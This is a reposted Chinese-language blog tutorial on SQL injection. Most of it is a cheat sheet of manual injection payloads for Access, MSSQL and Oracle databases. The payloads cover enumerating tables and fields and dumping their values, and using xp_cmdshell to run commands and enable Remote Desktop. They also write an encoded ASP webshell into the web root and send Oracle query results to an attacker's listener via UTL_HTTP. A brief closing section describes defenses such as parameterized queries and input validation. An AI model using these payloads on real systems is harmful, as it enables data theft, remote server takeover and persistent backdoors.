SQL注入詳解

http://www.cnblogs.com/Zfc-Cjk/p/8460101.html  轉載

1:什麼是SQL注入

SQL注入是一種將SQL代碼插入或添加到應用(用戶)的輸入參數中的攻擊,之後再將這些參數傳遞給後臺的SQL服務器加以解析並執行。

 www.xx.com/news.php?id=1
 www.xx.com/news.php?id=1 and 1=1

這裏我們來理解一下SQL注入

首先,SQL注入常年蟬聯OWASP排行榜第一名~

SQL注入產生的過程是怎樣的呢?見下圖

SQL注入的危害有哪些呢?

  數據庫信息泄露
  網頁篡改
  網站被掛馬
  數據庫被惡意操作
  服務器被遠程控制
  破壞硬盤數據。。。。

2 我們來學習一下sql注入的方法

2.1取消友好HTTP錯誤消息

一般通過遠程測試判斷是否存在SQL注入,所以通常沒有機會通過查看源代碼來複查注入的查詢結構。這導致經常需要通過推理來進行大量測試

   打開IE瀏覽器,選擇菜單“工具”->“Internet選項”對話框。
   打開“高級”選項卡,在設置列表中找到“瀏覽”組,
   取消勾選”顯示友好HTTP錯誤信息”複選框 。如下圖

2.2尋找SQL注入

最常用的SQL注入判斷方法,在網站中尋找如下形式的網頁
   www.chinaliancheng.com/*.asp?id=1
   www.chinaliancheng.com/*.aspx?id=1
   www.chinaliancheng.com/*.php?id=1
   www.chinaliancheng.com/*.jsp?id=1
單引號法
   提交單引號,頁面返回錯誤
   and 1=1 and 1=2
  提交and 1=1 頁面返回正常 ,提交and 1=2 頁面返回錯誤

2.3確認注入點

區分數字和字符串
   數字型
   SELECT *FROM user WHERE id=1
   SELECT * FROM user WHERE id > 1
   帶引號類型的
   SELECT * FROM user WHERE name = ‘admin’
   SELECT * FROM user WHERE date > ‘2017-5-3’

內聯SQL注入:內聯注入是指插入查詢注入SQL代碼後,原來的查詢仍然會全部執行。

終止式SQL注入:終止式SQL語句注入是指攻擊者在注入SQL代碼時,通過註釋剩下的查詢來成功結束該語句。

3:識別數據庫

3.1:數據庫連接運算符

 

www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min

 

3.2 Access數據庫注入

利用內置數據庫表獲取數據庫類型

and (select count(*) from sysobjects)>=0
  Sysobjects爲Mssql數據庫內置表
and (select count(*) from msysobjects)>=0
  Msysobjects爲Access數據庫內置表

Access手工注入猜解

猜表名
   and exists(select * from 表名)
   and(select count(*) from 表名)>=0

猜字段名
   and exists(select 字段名 from 表名)
   and (select count(字段名) from 表名)>=0
猜字段長度
   and (select top 1 len(字段名) from 表名)>1
   and (select top 1 len(字段名) from 表名)>2
   and (select top 1 len(字段名) from 表名)>n

猜字段值
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

Order by 猜字段數目

  Order by 1
  Order by 2
  Order by n

Union select 獲取段內容
  Union select 1,字段名,2,…,n from 表名

 

 

3.3 Mssql數據庫注入

在進行MsSQL注入攻擊時,首先要對MsSQL注入點進行一下基本的注入檢查,以確定後面的攻擊實施方案。

注入點類型的判斷
   and exists (select * from sysobjects)
注入點權限判斷
   and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員
   and 1=(select IS_SRVROLEMEMBER('db_owner')) //判斷是否是庫權限
   and 1=(select IS_SRVROLEMEMBER('public')) //判斷是否爲public權限

返回信息判斷
   and @@version>0 //數據庫信息
   ;declare @d int //判斷MsSQL支持多行語句查詢
   and (select count(1) from [sysobjects])>=0 //是否支持子查詢
   and user>0 //獲取當前數據庫用戶名
   and 1=convert(int,db_name()) 或 1=(select db_name()) //當前數據庫名
   and 1=(select @@servername) //本地服務名
   and 1=(select HAS_DBACCESS('master')) //判斷是否有庫讀取權限

檢查擴展存儲
   檢查xp_cmdshell擴展存儲
   and 1=(select count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
   檢查xp_regread擴展存儲
   and 1=(select count(*) FROM master.dbo.sysobjects where name = 'xp_regread')

恢復擴展存儲
   刪除xp_cmdshell
   exec master..sp_dropextendedproc'xp_cmdshell'
   創建xp_cmdshell
   exec master..sp_addextendedprocxp_cmdshell,'xplog70.dll‘
   該語句利用系統中默認的“xplog70.dll”文件,自動恢復xp_cmdshell。
   如果xplog70.dll被刪除或改名,可以自定義路徑進行恢復:
   exec master..sp_addextendedproc'xp_cmdshell','c:\xplog70.dll'

Sa權限下擴展存儲攻擊利用方法
   Xp_cmdshell擴展執行任意命令
   執行任意命令
   ;exec master..xp_cmdshell 'dir c:\‘
   開啓3389
    exec master..xp_cmdshell 'sc config termservice start=auto‘
    exec master..xp_cmdshell 'net start termservice'
    exec master..xp_cmdshell 'reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0x0 /f'

利用sp_makewebtash寫入一句話木馬
   exec sp_makewebtask
'c:\inetpub\wwwroot\c.asp','select''%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%
63%68%6F%70%70%65%72%22%29%25%3E'''

Dbowner權限下的擴展攻擊利用
   判斷數據庫用戶權限
   and 1=(select is_member('db_owner'));
   搜索Web目錄
   創建一個臨時表
   create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULLIDENTITY(1,1));
   利用xp_dirtree擴展查詢
   insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1
   查詢表中的內容
   and(select dir from temp where id=1)>0

查詢暴庫的另一種方法
   暴字段名和字段值
   增加數字n的值,就可以得到表中所有字段
   and (select col_name(object_id(‘表名'),n))=0
   獲取字段內容
   and (select top 1 字段名 from 表名)>0
   爆其他字段值
   and (select top 1 字段名 from 表名 where 字段名<>字段值1)>0

 

 

3.4 Oracle數據庫注入

Oracle注入點判斷
   and 1=1 and 1=2
   /*
   --
   ;
   and exists(select * from dual)
   and exists(select count(*) from user_tables)>0

注入點信息判斷
   確定注入點類型後,與前面的MySQL注入一樣,先用order by 猜出字段數目,再用聯合查詢union select方法獲取想要的信息。
獲取數據庫版本信息
   and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
獲取當前數據庫連接用戶名
   and 1=2 union select null,null,(select SYS_CONTEXT ('USERENV','CURRENT_USER') fromdual) from dual
獲取系統平臺
   and 1=2 union select null,null,(select member from v$logfile where rownum=1) from dual
獲取服務器SID
   and 1=2 union select null,null,(select instance_namefrom v$instance) from dual

爆庫名
   and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
爆出第一個庫名後可以使用如下語句,繼續爆其他庫名
   and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第一個庫名') from dual
獲取表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from dual
爆其他表名
   and 1=2 union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'第一個表名') from dual
注意:表名要用大寫或大寫的十六進制代碼。

獲取字段名
  and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1) from dual
獲取其他字段名
   and 1=2 union select null,null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第一個字段' and rownum=1) from dual
 獲取字段內容
   and 1=2 union select null,null,字段名 from 表名

判斷UTL_HTTP存儲過程是否可用
   and exists(select count(*) from all_objectswhere object_name='UTL_HTTP')
監聽本地端口
   nc –vv –l –p 8888
   UTL_HTTP反彈注入
   and UTL_HTTP.request('http://IP:端口號/'||(查詢語句))=1

 

4 注入工具介紹

 

5 防禦sql注入

 

 使用參數化查詢

PHP包含很多用於訪問數據庫的框架。訪問MySQL數據庫的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP數據對象(PDO)框架,他們均爲使用參數化語句提供便利。

輸入驗證

驗證應用接收到的輸入時一種可用的功能強大的控制手段(如果用的好的話)。


白名單
   使用白名單應該開了下列要點:
   數據類型:字符、數字等;
   數據大小:字符串長度是否正確,數字的大小和精度是否正確。
   數據範圍:如果 是數字型,是否位於該數據類型期望的數字範圍。
   數據內容:數據是否屬於期望的數據類型,如手機號碼,它是否瞞住期望的值。
黑名單
   黑名單驗證的常用方法也是使用正則表達式。

 

編碼輸入與使用存儲過程防禦

除了驗證應用受到的輸入以外,通常還需要對在應用的不同模塊或部分傳遞的內容進行編碼。

通常會被忽視的情況是對來自數據庫的信息進行編碼,尤其是當正在使用的數據庫未經過嚴格驗證或審查,或者來自第三方數據源時。


將應用設計成專門使用存儲過程來訪問數據庫是一種可以放置或減輕SQL注入影響的技術。存儲
過程是保存在數據庫彙總的程序。根據數據庫的不同,可以使用很多不同語言及其變體來編寫存儲過程

傳送門--滲透測試_利用Burp爆破用戶名與密碼

    Google 搜索引擎語法

提供全套滲透測試資料

 


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章